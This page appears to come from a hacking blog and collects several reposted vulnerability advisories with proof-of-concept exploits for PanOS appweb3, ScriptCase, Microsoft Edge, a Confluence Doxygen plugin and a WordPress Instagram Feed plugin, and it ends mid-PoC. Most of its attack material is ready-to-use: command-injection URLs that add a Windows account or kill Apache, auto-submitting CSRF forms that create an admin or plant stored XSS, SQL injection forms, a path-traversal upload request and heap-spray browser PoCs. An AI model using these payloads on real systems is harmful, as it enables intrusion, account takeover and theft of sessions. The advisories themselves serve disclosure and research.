Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291714

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=908
Palo Alto Networks have published a fix for this issue: http://securityadvisories.paloaltonetworks.com/Home/Detail/68

PanOS uses a modified version of the appweb3 embedded webserver, it's used for
a variety of tasks and is enabled by default. I've noticed a bug in the core utility routine mprItoa:

char *mprItoa(char *buf, int size, int64 value, int radix);

https://embedthis.com/appweb/doc-3/ejs/api/mpr.html#mpr_8h_1c44ccf179c55dbbcf7aa04ba86090463

The size parameter is documented to be the size of the buffer at *buf, but if
the value exceeds that it will write one more byte than that as a nul
terminator.

Note that appweb3 has been EOL since 2012 and no longer receives security
updates and is not supported by the developer, so security maintenance is the
responsibility of Palo Alto Networks. It seems crazy to ship a EOL web server,
but whatever.

I've found an unauthenticated php script that an attacker call force to invoke
mprItoa() on a default installation at /unauth/php/errorPage.php, it can be
called like so:

/unauth/php/errorPage.php?code=1e16

This example should corrupt the stored GOT pointer, resulting in some
unexpected routine being called on the attacker-controlled MaResponse object,
and crashing with some heap corruption.

*** glibc detected *** /usr/local/bin/appweb3: double free or corruption (out): 0x08229e98 ***
======= Backtrace: =========
/lib/libc.so.6[0xf7ee8786]
/lib/libc.so.6(cfree+0x59)[0xf7ee8bb9]
/usr/local/bin/../lib/3p/libappweb3.so.1(maFillHeaders+0x128)[0xf7e64c58]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6793b]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueue+0x28)[0xf7e608f8]
/usr/local/bin/../lib/3p/libappweb3.so.1(maServiceQueues+0x38)[0xf7e5f438]
/usr/local/bin/../lib/3p/libappweb3.so.1(maRunPipeline+0x37)[0xf7e5f497]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e6346d]
/usr/local/bin/../lib/3p/libappweb3.so.1(maProcessReadEvent+0x27f)[0xf7e63e0f]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e5ad74]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e36afd]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e3607c]
/usr/local/bin/../lib/3p/libappweb3.so.1[0xf7e30c6f]
/usr/local/bin/../lib/3p/libappweb3.so.1(threadProcWrapper+0x36)[0xf7e31296]
/lib/libpthread.so.0[0xf6e9b6e1]
/lib/libc.so.6(clone+0x5e)[0xf7f52aee]
======= Memory map: ========
08048000-0804c000 rwxp 00000000 08:02 67709                              /usr/local/bin/appweb3
0804c000-095e5000 rwxp 00000000 00:00 0                                  [heap]
f1c00000-f1cd0000 rwxp 00000000 00:00 0 

etc.
            
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/SCRIPTCASE-PHP-WEB-TOOL-MULTIPLE-VULNERABILITIES.txt

[+] ISR: ApparitionSec



Vendor:
==================
www.scriptcase.net



Product:
===================
ScriptCase
v8.1.053, v8.1.051, v8.1.43.0

scriptcase_install_en_us_v8.1.053.exe
hash: ceaba1fce05556b82ab37582a7c907f4

scriptcase_install_en_us_v8.1.051.exe
hash: c3c9fbe085ab5462304c0c73c8698946


ScriptCase RAD is a development platform for PHP applications, is web
oriented and can be installed in a server in the internet.



Vulnerability Type:
=============================
CSRF Remote Command Execution
CSRF Add Admin
SQL Injection
Cross Site Scripting
Local Privlege Escalation (Insecure File Permissions)
User Enumeration / Token Bypass

Downloaded latest version v8.1.053, and still vulnerable.



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

[CSRF Remote Command Execution]
Scriptcase has a remote command execution ailment via CSRF, if an
authenticated user clicks an attacker link etc. This can allow attackers
to run arbitrary system commands on the affected host and do things like
add accounts etc.

Scriptcase PHP code uses encryption / obfuscated so its not easy testing
but we can see here the error returned for PHP eval()'d code
when injecting an Array [] brackets or something as paremeter.

Parse error: syntax error, unexpected end of file, expecting ']' in C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase\devel\lib\php\functions2.inc.php(358) : eval()'d code on line 1

After trying to wrap a Windows system call in backtick "`" operators it
worked perfectly. This allowed me to add an arbitrary system
account to the affected system.



[CSRF]
There are several cross site request forgery vectors, allowing attackers to
add an Admin account to Scriptcase application etc.


[Cross Site Scripting]
Multiple XSS entry points exists within the vulnerable application both GET
and POST.

Example XSS vulnerable scriptcase code 'ajax_cod_apls' is not santized
before being processed by ajax HTTP post request.

$.ajax({
type: 'POST',
url: '/scriptcase/devel/iface/generate.php',
data:
'compile_app_ajax=S&gen_option=console&targ_frame=_self&console=yes&ajax_cod_apls='
+ str_open_apps,
success: function(s_result){
a_result = s_result.split('__compile_ajax_sep_row__');
nm_compile_gerar();
}
});



[Local Privilege Escalation]
scriptcase uses weak insecure file permissions as the “Everyone” group has
full access on it. Allowing low privileged users to
execute arbitrary code in the security context of ANY other users with
elevated privileges on the affected system.

"Everyone" encompasses all users who have logged in with a password as well
as built-in, non-password protected accounts such as Guest
and LOCAL_SERVICE.Any user (even guest) will be able to replace, modify or
change the file. This would allow an attacker the ability
to inject code or replace scriptcase used executables and have it run in
the context of the system.



[User Enumeration]
On failed scriptcase login the application returns one of the following in
the HTTP response.

"The login name provided is not registered on the system."
On a failed password but correct user name entered application HTTP
response returns.
"The password is incorrect."




Exploit code(s):
===============

[CSRF Remote Command Execution]

Note: we NEED to use backtick operators "`"

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start net user EVIL abc123 /add`

Verify...

c:\> net user

User accounts for \\hyp3rlinx
------------------------------------------------------------------------
Administrator hyp3rlinx Guest
EVIL Test Privileged-User


2) start Windows 'calc.exe'
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`calc.exe`

OR

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`start
calc.exe`

**sometimes "calc.exe" doesnt appear but it is running use "tasklist /v |
findstr calc.exe" to verify it is in fact running.


4) Apache DOS (needs httpd environmental variable set)
http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=`taskkill /f /im httpd.exe`



[SQL Injection]

AND boolean-based blind - WHERE or HAVING clause in 'nrLinhas' parameter "10 AND 2=2"

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto" value="1">
<input type="hidden" name="nrLinhas" value="10 AND 2=2">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>



[CSRF Add Admin]

<form name="form_user" action=" http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php" method="POST">
<input type="hidden" name="nOpc" value="2">
<input type="hidden" name="nOpr" value="2">
<input type="hidden" name="nLogin" value="hyp3rlinx">
<input type="hidden" name="nMail" value="pwn@Done.com">
<input type="hidden" name="nPass[]" value="abc123">
<input type="text" name="nPass[]" value="abc123"/>
<input type="text" name="privBox%5B%5D" value="Priv_Admin" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Proj" />
<input type="hidden" name="privBox%5B%5D" value="Priv_DataDictionary" />
<input type="hidden" name="privBox%5B%5D" value="Priv_Exec">
<input type="hidden" name="privBox%5B%5D" value="Priv_Export">
<input type="hidden" name="privBox%5B%5D" value="Priv_Library">
<input type="hidden" name="privBox%5B%5D" value="Priv_Reports">
<input type="hidden" name="privBox%5B%5D" value="Priv_Locales">
<input type="hidden" name="privBox%5B%5D" value="Priv_Publish">
<input type="hidden" name="privBox%5B%5D" value="Priv_Aba">
<input type="hidden" name="privBox%5B%5D" value="Priv_Blank">
<input type="hidden" name="privBox%5B%5D" value="Priv_Calendar">
<input type="hidden" name="privBox%5B%5D" value="Priv_Chart">
<input type="hidden" name="privBox%5B%5D" value="Priv_Cons">
<input type="hidden" name="privBox%5B%5D" value="Priv_Container">
<input type="hidden" name="privBox%5B%5D" value="Priv_Ctrl">
<input type="hidden" name="privBox%5B%5D" value="Priv_Filt">
<input type="hidden" name="privBox%5B%5D" value="Priv_Edit">
<input type="hidden" name="privBox%5B%5D" value="Priv_Menu">
<input type="hidden" name="privBox%5B%5D" value="Priv_ReportPdf">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbManager">
<input type="hidden" name="privBox%5B%5D" value="Priv_DbConvert">
<input type="hidden" name="privBox%5B%5D" value="Priv_SQLBuilder">
<input type="hidden" name="privBox%5B%5D" value="Priv_Connection">
<input type="hidden" name="hidden" value="New User">
<script> document.forms[0].submit()</script>
</form>


[CSRF mysql connect creation wizard]

<form action="
http://127.0.0.1:8081/scriptcase/devel/iface/admin_sys_allconections_create_wizard.php" method="post">
<input type="hidden" name="ajax" value="S"/>
<input type="hidden" name="set_charset" value="S"/>
<input type="hidden" name="dbms" value="mysql"/>
<input type="hidden" name="sgdb" value="pdo_mysql"/>
<input type="hidden" name="exit" value="S"/>
<input type="hidden" name="host" value="127__DOT__0__DOT__0__DOT__1:3306"/>
<input type="hidden" name="usr" value="root"/>
<input type="hidden" name="pwd" value=""/>
<input type="hidden" name="db" value="mysql"/>
<script>document.forms[0].submit()</script>
</form>



[Cross Site Scripting] - Successful in Firefox

XSS 1)

http://127.0.0.1:8081/scriptcase/devel/iface/app_import.php?option=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


XSS 2)

http://127.0.0.1:8081/scriptcase/devel/iface/popup_sql_script.php?sql_script=%22/%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E


XSS 3)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/generate.php"
method="post">
<input type="hidden" name="compile_app_ajax" value="S"/>
<input type="hidden" name="gen_option" value="console"/>
<input type="hidden" name="targ_frame" value="_self"/>
<input type="hidden" name="console" value="yes"/>
<input type="hidden" name="ajax_cod_apls"
value="<script>alert(document.cookie)</script>"/>
<script>document.forms[0].submit()</script>
</form>


XSS 4)

<form action="http://127.0.0.1:8081/scriptcase/devel/iface/admin_user.php"
method="post">
<input type="hidden" name="nOpc" value="1">
<input type="hidden" name="nOpr" value="0">
<input type="hidden" name="nColOrd" value="1">
<input type="hidden" name="nLogin" value="">
<input type="hidden" name="nFiltro" value="2">
<input type="hidden" name="filtroTipo" value="2">
<input type="hidden" name="filtroTexto"
value='"/><script>alert(document.cookie)</script>'>
<input type="hidden" name="nrLinhas" value="10">
<input type="hidden" name="nrInicio" value="0">
<input type="hidden" name="maxReg" value="1">
<script>document.forms[0].submit()</script>
</form>



[Local Privilege Escalations]

Proof.

C:\Program Files (x86)\NetMake\v81\components>cacls * | findstr Everyone |
more
C:\Program Files (x86)\NetMake\v81\components\apache Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x64.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\msodbcsql_x86.msi
Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\components\php Everyone:(ID)F
Everyone:(OI)(CI)(IO)(ID)F


C:\Program Files (x86)\NetMake\v81\wwwroot>cacls * | findstr Everyone | more
C:\Program Files (x86)\NetMake\v81\wwwroot\favicon.ico Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\index.php Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\robots.txt Everyone:(ID)F
C:\Program Files (x86)\NetMake\v81\wwwroot\scriptcase Everyone:(ID)F

Everyone:(OI)(CI)(IO)(ID)F



[User Account Enumeration / Token Bypass]

First off the stupid token used on the login FORM e.g. "form_login=<TOKEN>"
is totally useless you can put anything you like in it
and the application will happily process the request.


CURL Enumeration 1)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=BOZO -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US

HTTP Response:
"error1:The login name provided is not registered on the system."

CURL Enumeration 2)
curl -i -v -X POST
http://127.0.0.1:8081/scriptcase/devel/iface/login.php?rand= -d
field_user=admin -d field_pass=1 -d ajax=nm -d option=login -d
form_login=STUPID-TOKEN -d language=en_US

HTTP Response:
"error1:The password is incorrect."

Either way we know when we hit a valid account.



Disclosure Timeline:
=========================================
Vendor Notification: October 13, 2016
Vendor acknowledgement: October 14, 2016
Vendor request POC video: October 14, 2016
Sent vendor video link: October 14, 2016
Request update from vendor: October 17, 2016
Vendor reply: "under review"
Vendor requests video again: October 25, 2016
Request update from vendor: October 30, 2016
Vendor reply: "No information"
Request ETA: November 7, 2016
Request status: November 14, 2016
Vendor Unresponsive No More Replies
November 20, 2016 : Public Disclosure



Exploitation Technique:
=======================
Remote / Local



Severity Level:
================
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
            
<!--
Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf

Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129)
CVE: CVE-2016-7202
Vendor Website: http://www.microsoft.com/
Date Released: 09/11/2016
Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016
Researchers: Scott Bell

Description

A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could
allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the
current user.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can
generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this
are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000
eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
jscript9!Recycler::ScanObject+0x23:
6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=????????
2:046> k
ChildEBP RetAddr
0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23
0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22
0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a
0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e
0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103
0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\msvcrt.dll -
0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c
WARNING: Stack unwind information not available. Following frames may be wrong.
0328fbd0 775c1328 msvcrt!itow_s+0x4c
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:\Windows\system32\kernel32.dll -
0328fbd8 7793ef1c msvcrt!endthreadex+0x6c
0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12
0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70
0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b

The following proof of concept code can be used to reproduce the vulnerability:
-->

<html>
<META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT">
<META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5">
<body>
<script>try{
for(var z in "a") a1.set(a1, '' );
Array.prototype.sort.call(a1, 'a', a1)
a1 = this;
a2 = [];
a1 = a2.concat(a1.a1);
var a1 = new Iterator(a1);
a1.add(a1);
for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);}
a1.reverse();
Array.prototype.reverse.call(a1);
a1.splice(1, 10);
}catch(e){};</script>
</body>
</html>

<!--

Solution
M
icrosoft validated this security issue and issued a patch (MS16-129) to remedy it.
Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high
quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of
the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and
government. Our aim is to provide the very best independent advice and a high level of technical expertise while
creating long and lasting professional relationships with our clients.
Security-Assessment.com is committed to security research and development, and its team continues to identify
and responsibly publish vulnerabilities in public and private software vendor's products. Members of the
Security-Assessment.com R&D team are globally recognised through their release of whitepapers and
presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:

Web www.security-assessment.com
Email info@security-assessment.com
-->
            
RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        AppFusions Doxygen for Atlassian Confluence
Vendor URL:     www.appfusions.com
Type:           Path Traversal [CWE-22]
Date found:     2016-06-23
Date published: -
CVSSv3 Score:   6.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)
CVE:            -


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
AppFusions Doxygen for Atlassian Confluence v1.3.0
older versions may be affected too.


4. INTRODUCTION
===============
With Doxygen in Confluence, you can embed full-structure code documentation:
-Doxygen blueprint in Confluence to allow Doxygen archive imports
-Display documentation from annotated sources such as Java (i.e., JavaDoc),
 C++, Objective-C, C#, C, PHP, Python, IDL (Corba, Microsoft, and
UNO/OpenOffice
 flavors), Fortran, VHDL, Tcl, D in Confluence.
-Navigation supports code structure (classes, hierarchies, files), element
 dependencies, inheritance and collaboration diagrams.
-Search documentation from within Confluence
-Restrict access to who can see/add what
-Doxygen in JIRA also available

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application offers the functionality to import zipped Doxygen
documentations via a file upload to make them available within a
Confluence page. However the application does not properly validate the
"tempId" parameter, which represents the directory where the contents of
the uploaded file will be extracted and stored to. This leads to a path
traversal vulnerability when "/../" sequences are used as part of the
"tempId" parameter. Since the contents of the uploaded file are
extracted to the traversed directory, this vulnerability could also lead
to Remote Code Execution.

In DoxygenUploadServlet.java (lines 63-64) the "tempId" parameter is
read as part of a GET request to "/plugins/servlet/doxygen/upload" and
afterwards used in a "getTemporaryDirectory()" call:

String tempId = request.getParameter("tempId");
String destination =
this.doxygenManager.getTemporaryDirectory(tempId).getAbsolutePath();

The "getTemporaryDirectory()" function is defined in
DefaultDoxyGenManager.java (lines 38-41) and constructs a file object
based on the "java.io.tmpdir" variable, the static string
"/doxygen-temp/", the user-supplied "tempId" and a file separator in
between all parts:

public File getTemporaryDirectory(String tempId) {
    File file = new File(System.getProperty("java.io.tmpdir") +
File.separator + "doxygen-temp" + File.separator + tempId);
    return file;
}

In the subsequent code the uploaded file as represented by the "file"
HTTP POST parameter to "/plugins/servlet/doxygen/upload" is extracted to
the directory which was built using the "file" object.

The following Proof-of-Concept triggers this vulnerability by uploading
a zipped file, which will be extracted to "/home/confluence" by the
application: 

POST
/plugins/servlet/doxygen/upload?tempId=/../../../../../../home/confluence
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
X-Requested-With: XMLHttpRequest
Content-Length: 966
Content-Type: multipart/form-data;
boundary=---------------------------62841490314755966452122422550
Cookie: doc-sidebar=300px; doxygen_width=256;
JSESSIONID=75A487B49F38A536358C728B1BE5A9E1
Connection: close

-----------------------------62841490314755966452122422550
Content-Disposition: form-data; name="file"; filename="Traversal.zip"
Content-Type: application/zip

[zipped data]
-----------------------------98001232218371736091795669059--


6. RISK
=======
To successfully exploit this vulnerability the attacker must be
authenticated and must have the rights within Atlassian Confluence to
upload Doxygen files (default).

The vulnerability allows remote attackers to upload arbitrary files to
any destination directory writeable by the user of the web server, which
could lead to Remote Code Execution.


7. SOLUTION
===========
Update to AppFusions Doxygen for Atlassian Confluence v1.3.4


8. REPORT TIMELINE (DD/MM/YYYY)
===============================
23/06/2016: Discovery of the vulnerability
23/06/2016: Notified vendor via public security mail address
29/06/2016: No response, sent out another notification w/o details
29/06/2016: Response from vendor who asked for full details
30/06/2016: Sent over preliminary advisory with full details
03/07/2016: No response from vendor, sent out a status request
03/07/2016: Vendor temporarily removes product from website
11/07/2016: Vendor releases v1.3.1 which fixes the issue
20/11/2016: Advisory released
            
<!--
Source: https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_instagram_feed_plugin_via_csrf.html

Persistent Cross-Site Scripting in Instagram Feed plugin via CSRF
Abstract
A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl

The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.

OVE ID
OVE-20160724-0014

Tested versions
This issue was successfully tested on the Instagram Feed WordPress Plugin version 1.4.6.2.

Fix
This issue is resolved in Instagram Feed WordPress Plugin version 1.4.7.

Introduction
Instagram Feed is a WordPress plugin to display beautifully clean, customizable, and responsive feeds from multiple Instagram accounts. A persistent Cross-Site Scripting vulnerability was found in the Instagram Feed plugin. This issue allows an attacker to perform a wide variety of actions, such as stealing Administrators' session tokens, or performing arbitrary actions on their behalf. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a URL provided by an attacker.

Details
The settings page of the Instagram Feed plugin does not perform CSRF checks. It's possible to change all settings in the plugin by making an authenticated administrator perform a request to change the settings (CSRF). It's possible to change the Instagram access token and id to show images of other users. It's also possible to inject malicious JavaScript in the Customize section, to perform Persistent Cross-Site Scripting. Any user visiting the Instagram Feed will be injected with the attackers payload after the CSRF attack.

Proof of Concept
Have an authenticated admin visit a webpage with the following form:
-->

<html>
<body>
<form action="http://<wordpress site>/wp-admin/admin.php?page=sb-instagram-feed&tab=customize" method="POST">
<input type="hidden" name="sb&#95;instagram&#95;settings&#95;hidden&#95;field" value="Y" />
<input type="hidden" name="sb&#95;instagram&#95;customize&#95;hidden&#95;field" value="Y" />
<input type="hidden" name="sb&#95;instagram&#95;width" value="100" />
<input type="hidden" name="sb&#95;instagram&#95;width&#95;unit" value="&#37;" />
<input type="hidden" name="sb&#95;instagram&#95;height" value="100" />
<input type="hidden" name="sb&#95;instagram&#95;height&#95;unit" value="&#37;" />
<input type="hidden" name="sb&#95;instagram&#95;background" value="&#35;474747" />
<input type="hidden" name="sb&#95;instagram&#95;sort" value="none" />
<input type="hidden" name="sb&#95;instagram&#95;num" value="20" />
<input type="hidden" name="sb&#95;instagram&#95;cols" value="4" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;res" value="auto" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;padding" value="5" />
<input type="hidden" name="sb&#95;instagram&#95;image&#95;padding&#95;unit" value="px" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;header" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;header&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;btn" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;background" value="" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;text&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;btn&#95;text" value="Load&#32;More&#46;&#46;&#46;" />
<input type="hidden" name="sb&#95;instagram&#95;show&#95;follow&#95;btn" value="on" />
<input type="hidden" name="sb&#95;instagram&#95;folow&#95;btn&#95;background" value="" />
<input type="hidden" name="sb&#95;instagram&#95;follow&#95;btn&#95;text&#95;color" value="" />
<input type="hidden" name="sb&#95;instagram&#95;follow&#95;btn&#95;text" value="Follow&#32;on&#32;Instagram" />
<input type="hidden" name="sb&#95;instagram&#95;exclude&#95;words" value="" />
<input type="hidden" name="sb&#95;instagram&#95;include&#95;words" value="" />
<input type="hidden" name="sb&#95;instagram&#95;hide&#95;photos" value="" />
<input type="hidden" name="sb&#95;instagram&#95;block&#95;users" value="" />
<input type="hidden" name="sb&#95;instagram&#95;custom&#95;css" value="" />
<input type="hidden" name="sb&#95;instagram&#95;custom&#95;js" value="&#125;&#13;&#10;&#125;&#41;&#59;<&#47;script><script>alert&#40;1&#41;&#59;<&#47;script>&#13;&#10;" />
<input type="hidden" name="submit" value="Save&#32;Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

<!-- The Custom JavaScript section will now be saved with the attacker's JavaScript payload. -->
            
<!--
Source: http://blog.skylined.nl/20161118002.html

Synopsis

A specially crafted web-page can cause an integer underflow in Microsoft Edge. This causes CText­Extractor::Get­Block­Text to read data outside of the bounds of a memory block.

Known affected software, attack vectors and mitigations

Microsoft Edge 11.0.10240.16384

An attacker would need to get a target user to open a specially crafted web-page. Java­Script is not necessarily required to trigger the issue.

Repro.html

<!DOCTYPE html>
<style>
  *::first-letter{ border: 0; }
  *{ white-space: pre-line; }
</style>
<body>
  A<script>alert();</script>&#x­D;&#x­D;B
</body>

Description

Though I did not investigate thoroughly, I did find out the following:

The root cause appears to be an integer underflow in a 32-bit variable used in CText­Extractor..Get­Block­Text as an index to read a WCHAR in a string buffer. This index is decreased once too often and becomes -1, or a very large positive number depending on how it is used.
This does not result in a crash on 32-bit systems, as an integer wrap causes the code to read one WCHAR before the start of the buffer, which is normally also in allocated memory.
On 64-bit systems, the 32-bit -1 value is interpreted as 0x­FFFFFFFF, a very large positive value. As this is an index into a WCHAR string, it gets multiplied by two and added to the start of the buffer to find the location of a WCHAR to read. This causes the OOB read to be around 8Gb (!!) beyond the address at which the buffer is allocated.
The crash happens in code that appears to be rendering the web-page, which does not immediately offer an obvious way of extracting information using this bug.

Exploit

This is where it gets interesting, as the OOB read happens approximately 0x2`00000000 bytes after the address at which the buffer is allocated. This presents us with a problem: how to store some information that we'd be interested in reading at such a large offset from the original allocation?

As one might come to expect from me, I used a heap spray. But it needed to be a special kind of heap spray as I did not want to actually have to allocate 8Gb of RAM. However, about ten years ago (boy, time flies!) I developed a heap spray that uses significantly less RAM than a traditional heap spray does; in practice probably about 33% in most cases, but theoretically much more in ideal situations. I've been meaning to blog about it, but never found the time to do so until today: you can read all about it here.

That said, I have not actually looked at whether it is possible to exfiltrate useful information using this bug. However, I did write a Proof-of-Concept that attempts to make sure something is allocated in the area where the OOB read happens. This Po­C uses these heap spray tricks to spray the heap while minimizing memory use. The Proof-of-Concept uses about ~5.3Gb to allocate the memory at around 8Gb distance from the buffer (up to ~10Gb to be sure). When you load the Po­C in a 64-bit version of Edge, you may notice that, unlike the original repro, it will not crash Edge (even though it does trigger the issues): the heap spray has allocated the memory that the out-of-bounds read accesses, and this prevents an access violation exception. Refreshing the page is likely to screw up the precise allocation process needed and will probably cause a crash.

This proves that it is theoretically possible to allocate information at the address used by the code. All that is left is prove that the information read by the code can be exfiltrated somehow, and you have a working exploit. This is left as an exercises to the reader.
-->

<!DOCTYPE html>
<style>
  *::first-letter{ border: 0; }
  *{ white-space: pre-line; }
</style>
<body>
  A<script>
    var ai­Allocation­Sizes = [             // max address ------.    .---- RAM allocated
      -0x4000, //  4000                                      4000  4000
       0x1000, //    |   1000                                5000  5000
      -0x5000, // -4000    |   5000                          a000  6000
       0x5000, //          |     |   5000                    f000  b000
      -0x7000, //          |  -5000    |   7000             16000  d000
       0x6000, //          |           |     |   6000       1c000 13000
      -0x8000, //          |           |  -7000    |   8000 24000 14000 (5.3Gb)
    ];
    var ao­Heap = [],
        o­To­Be­Freed;
    ai­Allocation­Sizes.for­Each(function (i­Allocation­Size) {
      if (i­Allocation­Size < 0 && o­To­Be­Freed) {
        console.log("-0x" + o­To­Be­Freed.byte­Length.to­String(16));
        o­To­Be­Freed = null; // Free the heap block that was queued to be freed.
        Collect­Garbage();
      }
      var u­Allocation­Size = Math.abs(i­Allocation­Size) * 0x10000 - 1;
      console.log("+0x" + u­Allocation­Size.to­String(16));
      var o­Array­Buffer = new Array­Buffer(u­Allocation­Size);
      if (i­Allocation­Size < 0) {
        o­To­Be­Freed = o­Array­Buffer; // Schedule this to be freed
      } else {
        //ao­Heap.push(o­Array­Buffer);
      }
    });
  </script>&#x­D;&#x­D;B
</body>

<!--
Time-line

June 2016: This vulnerability was found through fuzzing.
June 2016: This vulnerability was submitted to ZDI and i­Defense.
July 2016: This vulnerability was acquired by ZDI.
September 2016: This vulnerability was addressed by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->
            
<!--
Source: http://blog.skylined.nl/20161116001.html

Synopsis

A specially crafted web-page can cause the Javascript engine of Microsoft Internet Explorer 8 to free memory used for a string. The code will keep a reference to the string and can be forced to reuse it when compiling a regular expression.

Known affected software, attack vectors and mitigations

Microsoft Internet Explorer 8

An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.
-->

<!DOCTYPE html>
<html>
  <script>
